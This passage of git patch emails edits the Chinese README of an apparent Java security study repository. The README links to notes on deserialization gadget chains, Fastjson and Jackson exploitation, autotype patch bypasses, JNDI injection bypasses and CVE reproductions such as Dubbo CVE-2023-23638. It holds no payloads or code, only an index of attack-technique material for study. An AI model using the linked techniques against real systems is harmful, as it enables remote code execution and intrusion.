14:48:35 +0800 Subject: [PATCH 019/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 196e2ce..584a4c6 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ 很早前学了,后面补上,更多是说一点关键的东西,不会很详细,好吧这里再拓展成反序列化专区好了 -如果想系统学习CC链的话这部分还是推荐p牛的![Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已 +如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人,过了这么久看过网上很多文章还是觉得P牛写的更适合新人) - [Java反序列化之URLDNS](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS.md) - [CommonsCollections1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections1/CommonsCollections1.md) From 451d6473df725199d4a0954cb2e0015aa9658341 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 15:18:02 +0800 Subject: [PATCH 020/113] update Jackson-demo --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 584a4c6..42a4e4e 100644 --- a/README.md +++ b/README.md @@ -82,6 +82,7 @@ - [Jackson的利用触发及小细节](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E7%9A%84%E5%88%A9%E7%94%A8%E8%A7%A6%E5%8F%91/index.md) - [Jackson原生反序列化Gadgets](https://xz.aliyun.com/t/12485#toc-5) + - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) - [Fastjson基本用法](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95.md) - [Fastjson1.1.15-1.2.4与BCEL字节码加载](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD.md) - [Fastjson1.22-1.24反序列化分析之JNDI](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BJNDI/Fastjson1.22-1.24.md) From a0dfb2039fffb33484621063c8411ad5a1623587 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 15:20:06 +0800 Subject: [PATCH 021/113] Update README.md --- README.md | 69 +++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 47 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index 42a4e4e..58467b5 100644 --- a/README.md +++ b/README.md @@ -80,28 +80,53 @@ 可以对比jackson简单学习下,这里我也会简单提一下jackson的一些利用,当然不会很详细,但是会简单列出一些触发原理,而且有些payload是共通的,这里也不以收集各个依赖下利用的payload为主 -- [Jackson的利用触发及小细节](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E7%9A%84%E5%88%A9%E7%94%A8%E8%A7%A6%E5%8F%91/index.md) -- [Jackson原生反序列化Gadgets](https://xz.aliyun.com/t/12485#toc-5) - - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) -- [Fastjson基本用法](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95.md) -- [Fastjson1.1.15-1.2.4与BCEL字节码加载](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD.md) -- [Fastjson1.22-1.24反序列化分析之JNDI](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BJNDI/Fastjson1.22-1.24.md) -- [Fastjson1.22-1.24反序列化分析之TemplateImpl](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BTemplateImpl/Fastjson1.22-1.24.md) -- [Fastjson1.2.25-1.2.41补丁绕过(用L;绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.41%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.41%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) -- [Fastjson1.2.25-1.2.42补丁绕过(双写L;绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.42%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.42%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) -- [Fastjson1.2.25-1.2.43补丁绕过(用左中括号绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.43%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.43%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) -- [Fastjson1.2.25-1.2.45补丁绕过(mybatis的3.x版本且<3.5.0、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.45%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.45%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) -- [Fastjson1.2.25-1.2.47绕过](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType.md) -- [Fastjson1.2.48-1.2.68反序列化漏洞](https://www.anquanke.com/post/id/232774) -- [Fastjson1.2.68不使用ref引用,不用parseObject触发get方法](https://su18.org/post/fastjson-1.2.68/#getter-%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8) -- [关于blackhat2021披露的fastjson1.2.68链的一些细节,防止公众号以后找不到同目录下有备份](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d&scene=21#wechat_redirect) -- [2021L3HCTF中关于Fastjson1.2.68的骚操作](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E5%85%B6%E4%BB%96/L3HCTF%202021%20Official%20Write%20Up.pdf) -- [一些有趣的Trick](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E6%9C%89%E8%B6%A3Trick/FastJson%20Trick.md) -- [fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) -- [FastJson与原生反序列化(一)](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) -- [FastJson与原生反序列化(二)](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/) -- [Fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) -- [Fastjson与原生反序列化](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) +- Jackson() + + - [Jackson的利用触发及小细节(比较鸡肋仅作为学习了解)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E7%9A%84%E5%88%A9%E7%94%A8%E8%A7%A6%E5%8F%91/index.md) + + - [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5) + - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) + +- Fastjson + + - [Fastjson基本用法](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95.md) + + - [Fastjson1.1.15-1.2.4与BCEL字节码加载](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD.md) + + - [Fastjson1.22-1.24反序列化分析之JNDI](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BJNDI/Fastjson1.22-1.24.md) + + - [Fastjson1.22-1.24反序列化分析之TemplateImpl](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BTemplateImpl/Fastjson1.22-1.24.md) + + - [Fastjson1.2.25-1.2.41补丁绕过(用L;绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.41%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.41%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) + + - [Fastjson1.2.25-1.2.42补丁绕过(双写L;绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.42%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.42%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) + + - [Fastjson1.2.25-1.2.43补丁绕过(用左中括号绕过、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.43%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.43%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) + + - [Fastjson1.2.25-1.2.45补丁绕过(mybatis的3.x版本且<3.5.0、需要开启autotype)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.45%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/Fastjson1.2.25-1.2.45%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87.md) + + - [Fastjson1.2.25-1.2.47绕过](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Bypass/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType.md) + + - [Fastjson1.2.48-1.2.68反序列化漏洞](https://www.anquanke.com/post/id/232774) + + - [Fastjson1.2.68不使用ref引用,不用parseObject触发get方法](https://su18.org/post/fastjson-1.2.68/#getter-%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8) + + - [关于blackhat2021披露的fastjson1.2.68链的一些细节,防止公众号以后找不到同目录下有备份](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d&scene=21#wechat_redirect) + + - [2021L3HCTF中关于Fastjson1.2.68的骚操作](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E5%85%B6%E4%BB%96/L3HCTF%202021%20Official%20Write%20Up.pdf) + + - [一些有趣的Trick](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E6%9C%89%E8%B6%A3Trick/FastJson%20Trick.md) + + - [fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) + + - [FastJson与原生反序列化(一)](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) + + - [FastJson与原生反序列化(二)](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/) + + - [Fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) + + - [Fastjson与原生反序列化](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) + ## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) From 4107cae0a6d90a67d752b8c435e5ada54f9d0220 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 15:21:33 +0800 Subject: [PATCH 022/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 58467b5..bd6d00c 100644 --- a/README.md +++ b/README.md @@ -80,7 +80,7 @@ 可以对比jackson简单学习下,这里我也会简单提一下jackson的一些利用,当然不会很详细,但是会简单列出一些触发原理,而且有些payload是共通的,这里也不以收集各个依赖下利用的payload为主 -- Jackson() +- Jackson - [Jackson的利用触发及小细节(比较鸡肋仅作为学习了解)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E7%9A%84%E5%88%A9%E7%94%A8%E8%A7%A6%E5%8F%91/index.md) From cc4b7ca053a531cd76336bd01303078ab7d2b4ee Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sat, 10 Jun 2023 10:57:04 +0800 Subject: [PATCH 023/113] =?UTF-8?q?update=20Apache=20Dubbo=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96=E6=BC=8F=E6=B4=9E=EF=BC=88CVE-2023-?= =?UTF-8?q?23638=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index bd6d00c..d46f01c 100644 --- a/README.md +++ b/README.md @@ -349,6 +349,8 @@ - [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) - [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0) - [Apache Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495227&idx=1&sn=5ab9bcc3d89d57ff9799f88c3363814c&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1&scene=1&srcid=0325kmXWImZrXe0btPMEsJDY&sharer_sharetime=1679735505328&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) + - [Apache Dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/) + - [Apache Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) - Oracle From cca8fca03a8119eda8809bb46ffa117b24f1b61a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sat, 10 Jun 2023 11:00:08 +0800 Subject: [PATCH 024/113] =?UTF-8?q?=E6=9B=B4=E6=AD=A3=E6=98=BE=E7=A4=BA?= =?UTF-8?q?=E9=94=99=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...77\207\346\265\201\347\250\213\350\267\237\350\270\252.md" | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git "a/\345\205\266\344\273\226/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252.md" "b/\345\205\266\344\273\226/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252.md" index 08712e8..879f2f0 100644 --- "a/\345\205\266\344\273\226/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252.md" +++ "b/\345\205\266\344\273\226/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252/\351\253\230\344\275\216\347\211\210JDK\344\270\213\347\232\204JNDI\346\263\250\345\205\245\347\273\225\350\277\207\346\265\201\347\250\213\350\267\237\350\270\252.md" @@ -1,8 +1,8 @@ -# 高低版JDK下的JNDI注入绕过流程跟踪(jdk8u191+) +# 高低版JDK下的JNDI注入绕过流程跟踪 ## Rmi -服务端本地`ClassPath`中存在恶意`Factory`类可被利用来作为`Reference Factory`进行攻击利用。该恶意`Factory`类必须实现`javax.naming.spi.ObjectFactory`接口,实现该接口的`getObjectInstance()`方法,网上说是``org.apache.naming.factory.BeanFactory`类,该类的`getObjectInstance()`函数中会通过反射的方式实例化`Reference`所指向的任意`Bean Class`,并且会调用`setter`方法为所有的属性赋值。而该`Bean Class`的类名、属性、属性值,全都来自于`Reference`对象,均是攻击者可控的。 +服务端本地`ClassPath`中存在恶意`Factory`类可被利用来作为`Reference Factory`进行攻击利用。该恶意`Factory`类必须实现`javax.naming.spi.ObjectFactory`接口,实现该接口的`getObjectInstance()`方法,网上说是`org.apache.naming.factory.BeanFactory`类,该类的`getObjectInstance()`函数中会通过反射的方式实例化`Reference`所指向的任意`Bean Class`,并且会调用`setter`方法为所有的属性赋值。而该`Bean Class`的类名、属性、属性值,全都来自于`Reference`对象,均是攻击者可控的。 ### 依赖 From 04dc228c2244c4617a20e2868e5297fbf2ec897e Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sat, 10 Jun 2023 11:00:34 +0800 Subject: [PATCH 025/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d46f01c..21cb65d 100644 --- a/README.md +++ b/README.md @@ -251,7 +251,7 @@ - [Java RMI 攻击由浅入深(深入源码,师傅写的很好)](https://su18.org/post/rmi-attack/) - [如何绕过高版本 JDK 的限制进行 JNDI 注入利用](https://paper.seebug.org/942/#classreference-factory) - - (自己写的流程补充)[高低版JDK下的JNDI注入绕过流程跟踪(Jdk8u191+)](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA.md) + - (自己写的流程补充)[高低版JDK下的JNDI注入绕过流程跟踪](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA.md) - [探索高版本 JDK 下 JNDI 漏洞的利用方法](https://tttang.com/archive/1405/) - [JNDI jdk高版本绕过—— Druid](https://xz.aliyun.com/t/10656) From 5abf329fd6755465bf93764e7ffe8f4645de3b4d Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 15 Jun 2023 11:15:28 +0800 Subject: [PATCH 026/113] Update README.md --- README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 21cb65d..fd3000a 100644 --- a/README.md +++ b/README.md @@ -127,7 +127,8 @@ - [Fastjson与原生反序列化](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) - +- 其他 + - [Java JSON解析特性分析](https://javasec.org/javaweb/JSON/FEATURE.html) ## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) @@ -224,6 +225,8 @@ - [Tomcat上传.war触发JNDI](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%8A%E4%BC%A0.war%E8%A7%A6%E5%8F%91JNDI/index.md) +- [Servlet的线程安全问题](https://y4tacker.github.io/2022/02/03/year/2022/2/Servlet%E7%9A%84%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/) + @@ -341,28 +344,25 @@ - Apache - [Apache Commons Configuration 远程代码执行(虽然是配置文件RCE但也有学习意义)](https://xz.aliyun.com/t/11527) - - [Apache Spark shell command injection vulnerability via Spark UI(之前很早前在我的各个知识星球分享了)](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-33891/index.md) - - [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md) - - [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) - [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0) - [Apache Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495227&idx=1&sn=5ab9bcc3d89d57ff9799f88c3363814c&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1&scene=1&srcid=0325kmXWImZrXe0btPMEsJDY&sharer_sharetime=1679735505328&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) - [Apache Dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/) - [Apache 